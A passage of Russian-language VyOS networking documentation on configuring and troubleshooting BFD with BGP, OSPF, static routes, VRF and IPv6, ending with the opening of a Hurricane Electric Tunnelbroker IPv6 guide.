set protocols bfd peer 192.168.1.2 multiplier 3
set protocols bfd peer 192.168.1.2 source interface eth0

# Настройка BGP
set protocols bgp system-as 65001
set protocols bgp parameters router-id 192.168.1.1

# Настройка BGP соседа с BFD
set protocols bgp neighbor 192.168.1.2 remote-as 65001
set protocols bgp neighbor 192.168.1.2 update-source eth0
set protocols bgp neighbor 192.168.1.2 bfd
set protocols bgp neighbor 192.168.1.2 address-family ipv4-unicast

# Анонсирование сетей
set protocols bgp address-family ipv4-unicast network 10.10.1.0/24
set protocols bgp address-family ipv4-unicast network 172.16.0.0/16

# Сохранение конфигурации
commit
save
```

#### Конфигурация VyOS-2 (192.168.1.2)

```bash
# Настройка интерфейсов
set interfaces ethernet eth0 address 192.168.1.2/24
set interfaces ethernet eth0 description 'Internal Network'

# Настройка BFD (симметричная конфигурация)
set protocols bfd peer 192.168.1.1 interval transmit 200
set protocols bfd peer 192.168.1.1 interval receive 200
set protocols bfd peer 192.168.1.1 multiplier 3
set protocols bfd peer 192.168.1.1 source interface eth0

# Настройка BGP
set protocols bgp system-as 65001
set protocols bgp parameters router-id 192.168.1.2

# Настройка BGP соседа с BFD
set protocols bgp neighbor 192.168.1.1 remote-as 65001
set protocols bgp neighbor 192.168.1.1 update-source eth0
set protocols bgp neighbor 192.168.1.1 bfd
set protocols bgp neighbor 192.168.1.1 address-family ipv4-unicast

# Анонсирование сетей
set protocols bgp address-family ipv4-unicast network 10.10.2.0/24
set protocols bgp address-family ipv4-unicast network 172.16.0.0/16

# Сохранение конфигурации
commit
save
```

#### Верификация

```bash
# Проверка BFD сессий
show bfd peers

# Ожидаемый вывод:
# peer 192.168.1.2
#     ID: 1234567890
#     Remote ID: 987654321
#     Status: up
#     Uptime: 1 day, 2 hours, 30 minutes
#     Diagnostic: ok
#     Remote Diagnostic: ok
#     Peer Type: configured
#     Local Timers:
#         Detect Multiplier: 3
#         Receive Interval: 200ms
#         Transmit Interval: 200ms
#     Remote Timers:
#         Detect Multiplier: 3
#         Receive Interval: 200ms
#         Transmit Interval: 200ms

# Проверка BGP соседей
show bgp summary

# Проверка маршрутов BGP
show ip bgp
```

### Пример 2: BFD с OSPF в VK Cloud для дата-центра

Сценарий: Три VyOS маршрутизатора в частном дата-центре VK Cloud, использующие OSPF с BFD для быстрой конвергенции.

#### Топология
```
        [Core-1]
         /    \
        /      \
    [Core-2]--[Core-3]
```

#### Конфигурация Core-1 (10.0.0.1)

```bash
# Настройка интерфейсов
set interfaces ethernet eth0 address 10.0.0.1/30
set interfaces ethernet eth0 description 'Link to Core-2'
set interfaces ethernet eth1 address 10.0.0.5/30
set interfaces ethernet eth1 description 'Link to Core-3'
set interfaces ethernet eth2 address 10.0.1.1/24
set interfaces ethernet eth2 description 'Access Network'

# Настройка BFD для всех соседей
# BFD для Core-2 (10.0.0.2)
set protocols bfd peer 10.0.0.2 source interface eth0
set protocols bfd peer 10.0.0.2 interval transmit 300
set protocols bfd peer 10.0.0.2 interval receive 300
set protocols bfd peer 10.0.0.2 multiplier 3

# BFD для Core-3 (10.0.0.6)
set protocols bfd peer 10.0.0.6 source interface eth1
set protocols bfd peer 10.0.0.6 interval transmit 300
set protocols bfd peer 10.0.0.6 interval receive 300
set protocols bfd peer 10.0.0.6 multiplier 3

# Настройка OSPF
set protocols ospf area 0 network 10.0.0.0/30
set protocols ospf area 0 network 10.0.0.4/30
set protocols ospf area 0 network 10.0.1.0/24
set protocols ospf parameters router-id 10.0.0.1

# Включение BFD на OSPF интерфейсах
set protocols ospf interface eth0 bfd
set protocols ospf interface eth1 bfd

# Настройка пассивного интерфейса для access сети
set protocols ospf passive-interface eth2

# Сохранение конфигурации
commit
save
```

#### Конфигурация Core-2 (10.0.0.2)

```bash
# Настройка интерфейсов
set interfaces ethernet eth0 address 10.0.0.2/30
set interfaces ethernet eth0 description 'Link to Core-1'
set interfaces ethernet eth1 address 10.0.0.9/30
set interfaces ethernet eth1 description 'Link to Core-3'
set interfaces ethernet eth2 address 10.0.2.1/24
set interfaces ethernet eth2 description 'Access Network'

# Настройка BFD для всех соседей
# BFD для Core-1 (10.0.0.1)
set protocols bfd peer 10.0.0.1 source interface eth0
set protocols bfd peer 10.0.0.1 interval transmit 300
set protocols bfd peer 10.0.0.1 interval receive 300
set protocols bfd peer 10.0.0.1 multiplier 3

# BFD для Core-3 (10.0.0.10)
set protocols bfd peer 10.0.0.10 source interface eth1
set protocols bfd peer 10.0.0.10 interval transmit 300
set protocols bfd peer 10.0.0.10 interval receive 300
set protocols bfd peer 10.0.0.10 multiplier 3

# Настройка OSPF
set protocols ospf area 0 network 10.0.0.0/30
set protocols ospf area 0 network 10.0.0.8/30
set protocols ospf area 0 network 10.0.2.0/24
set protocols ospf parameters router-id 10.0.0.2

# Включение BFD на OSPF интерфейсах
set protocols ospf interface eth0 bfd
set protocols ospf interface eth1 bfd

# Настройка пассивного интерфейса
set protocols ospf passive-interface eth2

# Сохранение конфигурации
commit
save
```

#### Конфигурация Core-3 (10.0.0.6/10.0.0.10)

```bash
# Настройка интерфейсов
set interfaces ethernet eth0 address 10.0.0.6/30
set interfaces ethernet eth0 description 'Link to Core-1'
set interfaces ethernet eth1 address 10.0.0.10/30
set interfaces ethernet eth1 description 'Link to Core-2'
set interfaces ethernet eth2 address 10.0.3.1/24
set interfaces ethernet eth2 description 'Access Network'

# Настройка BFD для всех соседей
# BFD для Core-1 (10.0.0.5)
set protocols bfd peer 10.0.0.5 source interface eth0
set protocols bfd peer 10.0.0.5 interval transmit 300
set protocols bfd peer 10.0.0.5 interval receive 300
set protocols bfd peer 10.0.0.5 multiplier 3

# BFD для Core-2 (10.0.0.9)
set protocols bfd peer 10.0.0.9 source interface eth1
set protocols bfd peer 10.0.0.9 interval transmit 300
set protocols bfd peer 10.0.0.9 interval receive 300
set protocols bfd peer 10.0.0.9 multiplier 3

# Настройка OSPF
set protocols ospf area 0 network 10.0.0.4/30
set protocols ospf area 0 network 10.0.0.8/30
set protocols ospf area 0 network 10.0.3.0/24
set protocols ospf parameters router-id 10.0.0.6

# Включение BFD на OSPF интерфейсах
set protocols ospf interface eth0 bfd
set protocols ospf interface eth1 bfd

# Настройка пассивного интерфейса
set protocols ospf passive-interface eth2

# Сохранение конфигурации
commit
save
```

#### Верификация конфигурации VK Cloud

```bash
# Проверка BFD сессий на любом маршрутизаторе
show bfd peers

# Проверка OSPF соседей
show ip ospf neighbor

# Ожидаемый вывод на Core-1:
# Neighbor ID     Pri State           Up Time         Dead Time Address         Interface
# 10.0.0.2          1 Full/-          1d02h30m        00:00:31  10.0.0.2        eth0:10.0.0.1
# 10.0.0.6          1 Full/-          1d02h25m        00:00:35  10.0.0.6        eth1:10.0.0.5

# Проверка OSPF базы данных
show ip ospf database

# Проверка маршрутов
show ip route ospf
```

### Пример 3: Multi-hop BFD для eBGP через Internet

Сценарий: Подключение к провайдеру через eBGP с multi-hop BFD для мониторинга доступности BGP соседа.

```bash
# Локальный маршрутизатор конфигурация
# Публичный IP: 203.0.113.1
# BGP сосед (ISP): 198.51.100.1

# Настройка интерфейса WAN
set interfaces ethernet eth0 address 203.0.113.1/30
set interfaces ethernet eth0 description 'ISP Link'

# Настройка multi-hop BFD
set protocols bfd peer 198.51.100.1 multihop
set protocols bfd peer 198.51.100.1 source address 203.0.113.1
set protocols bfd peer 198.51.100.1 interval transmit 500
set protocols bfd peer 198.51.100.1 interval receive 500
set protocols bfd peer 198.51.100.1 multiplier 5
set protocols bfd peer 198.51.100.1 minimum-ttl 250

# Настройка eBGP с multi-hop
set protocols bgp system-as 65001
set protocols bgp parameters router-id 203.0.113.1
set protocols bgp neighbor 198.51.100.1 remote-as 65000
set protocols bgp neighbor 198.51.100.1 ebgp-multihop 2
set protocols bgp neighbor 198.51.100.1 bfd
set protocols bgp neighbor 198.51.100.1 address-family ipv4-unicast

# Анонсирование сетей
set protocols bgp address-family ipv4-unicast network 203.0.113.0/24

# Настройка default route от ISP
set protocols bgp neighbor 198.51.100.1 address-family ipv4-unicast default-originate

commit
save
```

## Команды мониторинга и диагностики

### Базовые команды просмотра

#### Просмотр всех BFD peers

```bash
show bfd peers
```

Пример вывода:
```
peer 192.168.1.1
    ID: 1234567890
    Remote ID: 987654321
    Status: up
    Uptime: 2 days, 5 hours, 15 minutes
    Diagnostic: ok
    Remote Diagnostic: ok
    Peer Type: configured
    Local Timers:
        Detect Multiplier: 3
        Receive Interval: 300ms
        Transmit Interval: 300ms
    Remote Timers:
        Detect Multiplier: 3
        Receive Interval: 300ms
        Transmit Interval: 300ms
    Echo Interval: disabled
    Remote Echo Interval: disabled

peer 192.168.1.2
    ID: 1234567891
    Remote ID: 987654322
    Status: down
    Downtime: 5 minutes, 30 seconds
    Diagnostic: Control Detection Time Expired
    Remote Diagnostic: ok
    Peer Type: configured
    Local Timers:
        Detect Multiplier: 3
        Receive Interval: 300ms
        Transmit Interval: 300ms
```

#### Просмотр конкретного peer

```bash
show bfd peer 192.168.1.1
```

#### Просмотр BFD статистики

```bash
show bfd peer 192.168.1.1 counters
```

Пример вывода:
```
Control packet input: 245678 packets
Control packet output: 245680 packets
Echo packet input: 0 packets
Echo packet output: 0 packets
Session up events: 2
Session down events: 1
Zebra notifications: 3
```

### Просмотр BFD со статическими маршрутами

```bash
show protocols static bfd
```

Пример вывода:
```
Route                Next Hop        BFD Status  Interface
10.0.0.0/8          192.168.1.1     Up          eth0
172.16.0.0/12       192.168.2.1     Down        eth1
0.0.0.0/0           192.168.1.1     Up          eth0
```

### Детальная информация BFD

```bash
# Просмотр всех сессий в формате brief
show bfd peers brief

# Просмотр конфигурации BFD
show configuration protocols bfd

# Просмотр профилей BFD
show protocols bfd profile
```

### Мониторинг в реальном времени

```bash
# Мониторинг BFD сообщений (требует debug режима)
monitor protocol bfd

# Просмотр логов BFD
show log | match BFD
```

### Интеграция с протоколами маршрутизации

#### Проверка BGP с BFD

```bash
# Просмотр BGP соседей с BFD статусом
show bgp summary

# Просмотр детальной информации BGP соседа
show bgp neighbor 192.168.1.1

# Вывод будет содержать секцию:
# BFD: Type: single hop
#      Detect Multiplier: 3, Receive Interval: 300, Transmit Interval: 300
#      Status: Up, Last update: 2 days, 5 hours, 15 minutes ago
```

#### Проверка OSPF с BFD

```bash
# Просмотр OSPF соседей
show ip ospf neighbor

# Вывод будет показывать соседей с индикацией BFD
# Neighbor ID     Pri State           Up Time         Dead Time Address         Interface  BFD
# 10.0.0.2          1 Full/-          1d02h30m        00:00:31  10.0.0.2        eth0       Up

# Детальная информация об интерфейсе OSPF
show ip ospf interface eth0
```

#### Проверка IS-IS с BFD

```bash
# Просмотр IS-IS соседей
show isis neighbor

# Детальная информация
show isis neighbor detail
```

## Диагностика и устранение неполадок

### Типичные проблемы и решения

#### Проблема 1: BFD сессия не устанавливается

**Симптомы:**
```bash
show bfd peers
# Status: down
# Diagnostic: No Diagnostic
```

**Возможные причины и решения:**

1. **Несоответствие параметров таймеров**
```bash
# Проверьте, что оба узла имеют совместимые интервалы
# На обоих узлах:
show configuration protocols bfd peer 192.168.1.1

# Убедитесь, что receive interval одного узла <= transmit interval другого
```

2. **Проблемы с сетевой связностью**
```bash
# Проверьте базовую связность
ping 192.168.1.1

# Проверьте, что UDP порты 3784 (control) и 3785 (echo) не блокируются
# Временно отключите firewall для тестирования
set firewall group network-group BFD-ALLOW network 192.168.1.0/24
set firewall name WAN-LOCAL rule 100 source group network-group BFD-ALLOW
set firewall name WAN-LOCAL rule 100 protocol udp
set firewall name WAN-LOCAL rule 100 destination port 3784-3785
set firewall name WAN-LOCAL rule 100 action accept
commit
```

3. **Неправильный source interface или address**
```bash
# Для single-hop BFD проверьте source interface
set protocols bfd peer 192.168.1.1 source interface eth0

# Для multi-hop BFD проверьте source address
set protocols bfd peer 10.0.0.1 source address 10.0.0.2
```

#### Проблема 2: BFD сессия нестабильна (flapping)

**Симптомы:**
```bash
show bfd peer 192.168.1.1
# Session down events: 15
# Session up events: 16
```

**Возможные причины и решения:**

1. **Слишком агрессивные таймеры**
```bash
# Увеличьте интервалы и multiplier
set protocols bfd peer 192.168.1.1 interval transmit 500
set protocols bfd peer 192.168.1.1 interval receive 500
set protocols bfd peer 192.168.1.1 multiplier 5
commit
```

2. **Высокая нагрузка на CPU или сеть**
```bash
# Проверьте загрузку CPU
show system cpu

# Проверьте статистику интерфейса на наличие ошибок
show interfaces ethernet eth0

# Рассмотрите использование менее агрессивных таймеров
```

3. **Проблемы с качеством канала**
```bash
# Проверьте статистику потерь пакетов
show interfaces ethernet eth0 statistics

# Если есть потери, увеличьте multiplier
set protocols bfd peer 192.168.1.1 multiplier 5
```

#### Проблема 3: BFD работает, но протокол маршрутизации не реагирует

**Симптомы:**
```bash
show bfd peers
# Status: up

show bgp neighbor 192.168.1.1
# BGP state = Established
# (но при отключении BFD peer BGP сессия не падает быстро)
```

**Решение:**
```bash
# Убедитесь, что BFD включен для протокола
show configuration protocols bgp neighbor 192.168.1.1

# Должно быть:
# protocols {
#     bgp {
#         neighbor 192.168.1.1 {
#             bfd
#         }
#     }
# }

# Если отсутствует, добавьте:
set protocols bgp neighbor 192.168.1.1 bfd
commit
```

#### Проблема 4: Multi-hop BFD не работает

**Симптомы:**
```bash
show bfd peer 10.0.0.1
# Status: down
# Diagnostic: Path Down
```

**Решение:**
```bash
# Проверьте, что указан multihop
set protocols bfd peer 10.0.0.1 multihop

# Проверьте source address
set protocols bfd peer 10.0.0.1 source address 10.0.0.2

# Проверьте minimum-ttl (должен быть достаточно большим)
set protocols bfd peer 10.0.0.1 minimum-ttl 250

# Убедитесь в наличии маршрута до удаленного peer
show ip route 10.0.0.1
```

### Debug режим

#### Включение debug для BFD

```bash
# Включить debug для BFD
debug bfd network
debug bfd peer 192.168.1.1
debug bfd zebra

# Просмотр debug вывода
show log | match BFD

# Отключить debug
no debug bfd network
no debug bfd peer 192.168.1.1
no debug bfd zebra
```

#### Анализ пакетов BFD

```bash
# Захват BFD пакетов на интерфейсе
monitor traffic interface eth0 filter "udp port 3784"

# Сохранение в файл для анализа
monitor traffic interface eth0 filter "udp port 3784" save /tmp/bfd.pcap
```

### Логирование BFD событий

```bash
# Настройка syslog для BFD
set system syslog global facility protocols level debug

# Просмотр логов
show log | match "bfd|BFD"

# Настройка отдельного лог-файла для BFD
set system syslog file bfd.log facility protocols level info
```

### Чек-лист диагностики BFD

1. **Базовая связность**
   - [ ] Ping до BFD peer успешен
   - [ ] Нет потери пакетов
   - [ ] Задержка приемлема

2. **Конфигурация BFD**
   - [ ] BFD peer настроен на обоих устройствах
   - [ ] Интервалы совместимы
   - [ ] Source interface/address указан корректно
   - [ ] Для multi-hop: multihop включен и source address указан

3. **Firewall и ACL**
   - [ ] UDP порт 3784 (control) разрешен
   - [ ] UDP порт 3785 (echo) разрешен при использовании echo mode
   - [ ] Нет rate limiting на BFD пакеты

4. **Интеграция протокола**
   - [ ] BFD включен для протокола маршрутизации
   - [ ] Протокол маршрутизации активен
   - [ ] Сосед протокола соответствует BFD peer

5. **Производительность**
   - [ ] CPU загрузка в норме
   - [ ] Нет проблем с памятью
   - [ ] Сетевой интерфейс не перегружен

## Рекомендации и best practices

### Выбор таймеров BFD

#### Быстрое обнаружение отказов (критичные приложения)

```bash
# Агрессивные таймеры: обнаружение за ~300 мс
set protocols bfd peer 192.168.1.1 interval transmit 100
set protocols bfd peer 192.168.1.1 interval receive 100
set protocols bfd peer 192.168.1.1 multiplier 3

# Риски: высокая CPU нагрузка, чувствительность к кратковременным задержкам
```

#### Стандартная конфигурация (большинство сценариев)

```bash
# Сбалансированные таймеры: обнаружение за ~900 мс
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

# Рекомендуется для большинства сетей
```

#### Консервативная конфигурация (нестабильные каналы)

```bash
# Консервативные таймеры: обнаружение за ~5 секунд
set protocols bfd peer 192.168.1.1 interval transmit 1000
set protocols bfd peer 192.168.1.1 interval receive 1000
set protocols bfd peer 192.168.1.1 multiplier 5

# Для каналов с переменным качеством или высокой latency
```

### Масштабирование BFD

#### Рекомендации по количеству сессий

- **Малые сети** (< 10 сессий): Можно использовать агрессивные таймеры
- **Средние сети** (10-50 сессий): Используйте стандартные таймеры
- **Большие сети** (> 50 сессий): Рассмотрите консервативные таймеры или профили

#### Использование профилей для масштабирования

```bash
# Создание профилей для разных типов линков
set protocols bfd profile DATACENTER interval transmit 100
set protocols bfd profile DATACENTER interval receive 100
set protocols bfd profile DATACENTER multiplier 3

set protocols bfd profile WAN interval transmit 500
set protocols bfd profile WAN interval receive 500
set protocols bfd profile WAN multiplier 5

set protocols bfd profile BACKUP interval transmit 1000
set protocols bfd profile BACKUP interval receive 1000
set protocols bfd profile BACKUP multiplier 5

# Применение профилей
set protocols bfd peer 10.0.1.1 profile DATACENTER
set protocols bfd peer 10.0.2.1 profile WAN
set protocols bfd peer 10.0.3.1 profile BACKUP
```

### Влияние на CPU и оптимизация

#### Мониторинг CPU нагрузки от BFD

```bash
# Просмотр процессов
show system processes
show system processes summary

# Поиск bfdd процесса
show system processes | match bfd
```

#### Оптимизация CPU использования

1. **Группировка таймеров**
```bash
# Используйте одинаковые интервалы для группы peers
# Это позволяет оптимизировать обработку пакетов

set protocols bfd peer 10.0.1.1 interval transmit 300
set protocols bfd peer 10.0.1.2 interval transmit 300
set protocols bfd peer 10.0.1.3 interval transmit 300
```

2. **Избегайте чрезмерно агрессивных таймеров**
```bash
# Вместо 50ms, используйте 100ms или 300ms если возможно
# 50ms может потребовать значительных CPU ресурсов
```

3. **Используйте echo mode когда возможно**
```bash
# Echo mode снижает нагрузку на control plane
set protocols bfd peer 192.168.1.1 echo-mode
set protocols bfd peer 192.168.1.1 interval echo-interval 500
```

### Безопасность BFD

#### Защита от спуфинга

```bash
# BFD использует минимальный TTL для multi-hop сессий
set protocols bfd peer 10.0.0.1 minimum-ttl 254

# Это предотвращает принятие пакетов, прошедших более 1 hop
# (255 - 254 = 1 разрешенный hop)
```

#### Firewall правила для BFD

```bash
# Создание address-group для BFD peers
set firewall group address-group BFD-PEERS address 192.168.1.1
set firewall group address-group BFD-PEERS address 192.168.1.2
set firewall group address-group BFD-PEERS address 192.168.1.3

# Разрешение BFD только от известных peers
set firewall name WAN-LOCAL rule 100 source group address-group BFD-PEERS
set firewall name WAN-LOCAL rule 100 protocol udp
set firewall name WAN-LOCAL rule 100 destination port 3784-3785
set firewall name WAN-LOCAL rule 100 action accept

# Блокировка всех остальных BFD пакетов
set firewall name WAN-LOCAL rule 101 protocol udp
set firewall name WAN-LOCAL rule 101 destination port 3784-3785
set firewall name WAN-LOCAL rule 101 action drop
set firewall name WAN-LOCAL rule 101 log enable
```

### Интеграция с мониторингом

#### SNMP мониторинг BFD

```bash
# Настройка SNMP для мониторинга BFD
set service snmp community public authorization ro
set service snmp community public network 10.0.0.0/8

# BFD MIB OIDs:
# bfdSessState: .1.3.6.1.2.1.222.1.3.1.7
# bfdSessUpTime: .1.3.6.1.2.1.222.1.3.1.10
# bfdSessDownTime: .1.3.6.1.2.1.222.1.3.1.11
```

#### Syslog для мониторинга событий

```bash
# Отправка BFD событий на syslog сервер
set system syslog host 10.0.0.100 facility protocols level warning
set system syslog host 10.0.0.100 facility protocols level err
set system syslog host 10.0.0.100 facility protocols level crit

# Локальное логирование
set system syslog file bfd.log facility protocols level info
```

### Планирование миграции на BFD

#### Поэтапное внедрение

**Этап 1: Пилотное развертывание**
```bash
# Начните с некритичных линков
set protocols bfd peer 192.168.99.1 interval transmit 1000
set protocols bfd peer 192.168.99.1 interval receive 1000
set protocols bfd peer 192.168.99.1 multiplier 5

# Включите BFD для протокола, но сохраните существующие таймеры
set protocols ospf interface eth0 bfd
# Не уменьшайте dead-interval сразу
```

**Этап 2: Мониторинг и настройка**
```bash
# Мониторинг BFD сессий в течение недели
show bfd peers
show bfd peer 192.168.99.1 counters

# Проверка на flapping
show log | match "BFD.*down"
```

**Этап 3: Оптимизация таймеров**
```bash
# После стабильной работы уменьшите интервалы
set protocols bfd peer 192.168.99.1 interval transmit 300
set protocols bfd peer 192.168.99.1 interval receive 300
set protocols bfd peer 192.168.99.1 multiplier 3
commit

# Для OSPF можно увеличить dead-interval
set protocols ospf interface eth0 dead-interval 40
set protocols ospf interface eth0 hello-interval 10
```

**Этап 4: Расширение на критичные линки**
```bash
# После успешного тестирования внедрите на производственных линках
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3
set protocols bgp neighbor 192.168.1.1 bfd
```

### Сценарии использования BFD

#### 1. Критичные финансовые приложения
```bash
# Требование: обнаружение отказа < 500 мс
set protocols bfd peer 192.168.1.1 interval transmit 150
set protocols bfd peer 192.168.1.1 interval receive 150
set protocols bfd peer 192.168.1.1 multiplier 3
# Время обнаружения: 150ms × 3 = 450ms
```

#### 2. VoIP и real-time приложения
```bash
# Требование: обнаружение отказа < 1 секунда
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3
# Время обнаружения: 300ms × 3 = 900ms
```

#### 3. Общие корпоративные приложения
```bash
# Требование: обнаружение отказа < 5 секунд
set protocols bfd peer 192.168.1.1 interval transmit 1000
set protocols bfd peer 192.168.1.1 interval receive 1000
set protocols bfd peer 192.168.1.1 multiplier 3
# Время обнаружения: 1000ms × 3 = 3 секунды
```

#### 4. Резервные линки (backup links)
```bash
# Можно использовать более консервативные таймеры
set protocols bfd peer 192.168.2.1 interval transmit 2000
set protocols bfd peer 192.168.2.1 interval receive 2000
set protocols bfd peer 192.168.2.1 multiplier 5
# Время обнаружения: 2000ms × 5 = 10 секунд
```

### Комбинирование с другими технологиями HA

#### BFD + VRRP

```bash
# BFD может триггерить изменения в VRRP приоритете через скрипты
# или интегрироваться с track интерфейсами

# Пример отслеживания BFD статуса для VRRP
# (требует дополнительных скриптов мониторинга BFD статуса)
set high-availability vrrp group LAN vrid 10
set high-availability vrrp group LAN interface eth1
set high-availability vrrp group LAN virtual-address 192.168.1.254/24
set high-availability vrrp group LAN priority 150
```

#### BFD + Policy-Based Routing

```bash
# Использование BFD для переключения между провайдерами
# Статический маршрут с BFD
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1 distance 10
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1 bfd

# Резервный маршрут
set protocols static route 0.0.0.0/0 next-hop 198.51.100.1 distance 20
set protocols static route 0.0.0.0/0 next-hop 198.51.100.1 bfd

# BFD peers
set protocols bfd peer 203.0.113.1 source interface eth0
set protocols bfd peer 203.0.113.1 interval transmit 500
set protocols bfd peer 203.0.113.1 interval receive 500
set protocols bfd peer 203.0.113.1 multiplier 3

set protocols bfd peer 198.51.100.1 source interface eth1
set protocols bfd peer 198.51.100.1 interval transmit 500
set protocols bfd peer 198.51.100.1 interval receive 500
set protocols bfd peer 198.51.100.1 multiplier 3
```

## Расширенные сценарии конфигурации

### VRF-Aware BFD

BFD может работать в контексте VRF (Virtual Routing and Forwarding):

```bash
# Создание VRF
set vrf name CUSTOMER-A table 100
set vrf name CUSTOMER-A protocols static route 0.0.0.0/0 next-hop 10.1.1.1

# Привязка интерфейса к VRF
set interfaces ethernet eth2 vrf CUSTOMER-A
set interfaces ethernet eth2 address 10.1.1.2/30

# Настройка BFD в контексте VRF
set protocols bfd peer 10.1.1.1 source interface eth2
set protocols bfd peer 10.1.1.1 interval transmit 300
set protocols bfd peer 10.1.1.1 interval receive 300
set protocols bfd peer 10.1.1.1 multiplier 3

# BGP в VRF с BFD
set vrf name CUSTOMER-A protocols bgp system-as 65001
set vrf name CUSTOMER-A protocols bgp neighbor 10.1.1.1 remote-as 65002
set vrf name CUSTOMER-A protocols bgp neighbor 10.1.1.1 bfd
```

### BFD с IPv6

Полная конфигурация BFD для IPv6:

```bash
# Настройка IPv6 интерфейса
set interfaces ethernet eth0 address 2001:db8:1::1/64

# BFD peer для IPv6
set protocols bfd peer 2001:db8:1::2 source interface eth0
set protocols bfd peer 2001:db8:1::2 interval transmit 300
set protocols bfd peer 2001:db8:1::2 interval receive 300
set protocols bfd peer 2001:db8:1::2 multiplier 3

# BGP для IPv6 с BFD
set protocols bgp neighbor 2001:db8:1::2 bfd
set protocols bgp neighbor 2001:db8:1::2 address-family ipv6-unicast
set protocols bgp neighbor 2001:db8:1::2 remote-as 65002

# OSPFv3 с BFD
set protocols ospfv3 area 0.0.0.0 interface eth0
set protocols ospfv3 interface eth0 bfd
```

### Dual-Stack BFD (IPv4 + IPv6)

```bash
# IPv4 BFD
set protocols bfd peer 192.168.1.1 source interface eth0
set protocols bfd peer 192.168.1.1 interval transmit 300
set protocols bfd peer 192.168.1.1 interval receive 300
set protocols bfd peer 192.168.1.1 multiplier 3

# IPv6 BFD на том же интерфейсе
set protocols bfd peer 2001:db8:1::2 source interface eth0
set protocols bfd peer 2001:db8:1::2 interval transmit 300
set protocols bfd peer 2001:db8:1::2 interval receive 300
set protocols bfd peer 2001:db8:1::2 multiplier 3

# BGP dual-stack с BFD
set protocols bgp neighbor 192.168.1.1 bfd
set protocols bgp neighbor 192.168.1.1 address-family ipv4-unicast
set protocols bgp neighbor 2001:db8:1::2 bfd
set protocols bgp neighbor 2001:db8:1::2 address-family ipv6-unicast
```

## Часто задаваемые вопросы (FAQ)

### Q1: Каков минимальный поддерживаемый интервал BFD?

**A:** Минимальный интервал BFD в VyOS составляет 10 мс, однако на практике рекомендуется использовать минимум 100 мс для стабильной работы, особенно на виртуальных машинах или устройствах с ограниченными ресурсами.

### Q2: Сколько BFD сессий может поддерживать один маршрутизатор?

**A:** Количество зависит от аппаратных ресурсов и конфигурации таймеров. На современном оборудовании с агрессивными таймерами (100-300 мс) типично 50-100 сессий. С консервативными таймерами (1000 мс) возможно несколько сотен сессий.

### Q3: Работает ли BFD через NAT?

**A:** BFD может работать через NAT в multi-hop режиме, однако это не рекомендуется для production сред из-за дополнительной задержки и потенциальных проблем с сопоставлением сессий. Для критичных применений используйте прямую IP связность.

### Q4: Можно ли использовать BFD для мониторинга доступности хостов, не являющихся маршрутизаторами?

**A:** BFD предназначен для мониторинга между устройствами, поддерживающими BFD протокол. Для мониторинга обычных хостов используйте другие механизмы, такие как ICMP ping или application-level health checks.

### Q5: Как BFD взаимодействует с Graceful Restart?

**A:** BFD и Graceful Restart могут конфликтовать. Если BFD обнаруживает отказ во время Graceful Restart, это может прервать процесс восстановления. Рассмотрите временное увеличение BFD таймеров или отключение BFD во время плановых работ.

### Q6: Нужен ли BFD, если используется fast hello в OSPF или BGP?

**A:** BFD предпочтительнее, так как:
- Единый механизм для всех протоколов
- Более эффективен по CPU
- Может обнаруживать отказы быстрее
- Позволяет использовать более медленные таймеры в самих протоколах маршрутизации

### Q7: Что происходит при restart BFD процесса?

**A:** При restart bfdd процесса все BFD сессии будут переустановлены. Это приведет к временному объявлению путей как недоступных, что может вызвать конвергенцию маршрутизации. Планируйте такие операции в maintenance windows.

### Q8: Поддерживает ли VyOS BFD для MPLS LDP?

**A:** На момент написания документации BFD для MPLS LDP имеет ограниченную поддержку. Проверьте текущую версию VyOS для актуальной информации о поддержке функционала.

## Рекомендации по версиям VyOS

### VyOS 1.3 (Equuleus)
- Полная поддержка BFD для BGP, OSPF, IS-IS
- Поддержка single-hop и multi-hop режимов
- Базовая поддержка профилей

### VyOS 1.4 (Sagitta)
- Улучшенная производительность BFD
- Расширенная поддержка профилей
- Улучшенная интеграция с VRF
- Поддержка IPv6 BFD

### VyOS 1.5 (Circinus)
- Дополнительные оптимизации производительности
- Расширенные возможности мониторинга
- Улучшенная поддержка BFD для статических маршрутов
- Обновленная версия FRR с улучшенной поддержкой BFD

## Заключение

BFD является мощным инструментом для обеспечения высокой доступности и быстрой конвергенции в современных сетях. Правильная настройка BFD позволяет:

1. **Сократить время обнаружения отказов** с минут до миллисекунд
2. **Снизить сложность конфигурации** за счет единого механизма для всех протоколов
3. **Улучшить предсказуемость поведения сети** при отказах
4. **Оптимизировать использование ресурсов** за счет эффективной реализации

### Ключевые рекомендации

- Начинайте с консервативных таймеров и постепенно их оптимизируйте
- Используйте профили для управления большим количеством сессий
- Мониторьте CPU нагрузку и стабильность сессий
- Планируйте миграцию поэтапно, начиная с некритичных линков
- Документируйте вашу конфигурацию BFD и причины выбора конкретных таймеров

### Дополнительные ресурсы

- [VyOS Documentation - BFD](https://docs.vyos.io/en/latest/configuration/protocols/bfd.html)
- [RFC 5880 - Bidirectional Forwarding Detection](https://tools.ietf.org/html/rfc5880)
- [RFC 5881 - BFD for IPv4 and IPv6](https://tools.ietf.org/html/rfc5881)
- [RFC 5883 - BFD for Multihop Paths](https://tools.ietf.org/html/rfc5883)
- [FRR BFD Documentation](http://docs.frrouting.org/en/latest/bfd.html)

## История изменений

| Дата | Версия | Изменения |
|------|--------|-----------|
| 2025-10-15 | 1.0 | Первоначальная версия документации |

---

**Примечание:** Данная документация актуальна для VyOS версий 1.3.x, 1.4.x и 1.5.x. Всегда проверяйте официальную документацию VyOS для вашей конкретной версии.


---

# Tunnelbroker.net - IPv6 через Hurricane Electric

Source: https://opennix.org/docs/vyos/examples/tunnelbroker-ipv6/


Настройка IPv6 connectivity через Hurricane Electric Tunnelbroker.net с использованием SIT (Simple Internet Transition) туннеля на VyOS.

## Описание сценария

### Use Case

Получение IPv6 connectivity для сетей, где провайдер не предоставляет native IPv6. Tunnelbroker.net предоставляет бесплатные IPv6 туннели для всех желающих.

**Применимость**:
- Home networks без native IPv6
- Small office без IPv6 от ISP
